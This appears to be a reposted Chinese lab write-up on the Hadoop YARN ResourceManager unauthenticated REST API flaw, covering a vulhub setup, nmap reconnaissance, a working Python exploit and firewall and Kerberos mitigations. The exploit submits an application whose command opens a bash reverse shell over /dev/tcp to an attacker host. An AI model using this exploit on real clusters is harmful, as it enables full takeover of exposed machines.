当前位置:   article > 正文

Hadoop YARN ResourceManager未授权访问漏洞_hadoop yarn resourcemanager 未授权访问漏洞

hadoop yarn resourcemanager 未授权访问漏洞

一、介绍

1.1 简介

  Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。

  Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

1.2 漏洞成因

  负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。

二、模拟环境

  • 受害者IP:192.168.226.140(ens33)
  • 攻击者IP:192.168.1.102

》》使用vulhub靶场,docker启动
在这里插入图片描述

启动报错
在这里插入图片描述
》》ping 不通
在这里插入图片描述
解决方法:(更换源)
》》查看当前源
在这里插入图片描述
》》写入自定义仓库
“registry-mirrors”:[“https://docker.mirrors.ustc.edu.cn”]
在这里插入图片描述
》》保存文件,重启
在这里插入图片描述
问题解决
在这里插入图片描述

》》启动后访问192.168.226.140:8088即可访问到Hadoop YARN ResourceManager WebUI界面
在这里插入图片描述

三、信息收集

》》通过nmap扫描目标IP发现在8088端口上开放了Jetty(hadoop使用jetty作为servlet容器提供HTTP服务来访问web后台用于管理hdfs和mapreduce等)
在这里插入图片描述
》》浏览器访问web界面
在这里插入图片描述

四、攻击方法

》》nc本地监听等待shell连接
在这里插入图片描述

》》执行exp

#!/usr/bin/env python

import requests

target = 'http://192.168.226.140:8088/'
lhost = '192.168.226.134' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

五、漏洞防御

  1. 网络访问控制,使用防火墙对受影响服务端口访问源IP进行控制
  2. 如Hadoop环境仅对内网提供服务,不要将端口服务暴露在公网
  3. 如使用自建Hadoop,根据实际情况更新补丁(Hadoop在2.x版本以上提供了安全认证功能,加入了Kerberos认证机制)
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/在线问答5/article/detail/999661
推荐阅读
相关标签
  

闽ICP备14008679号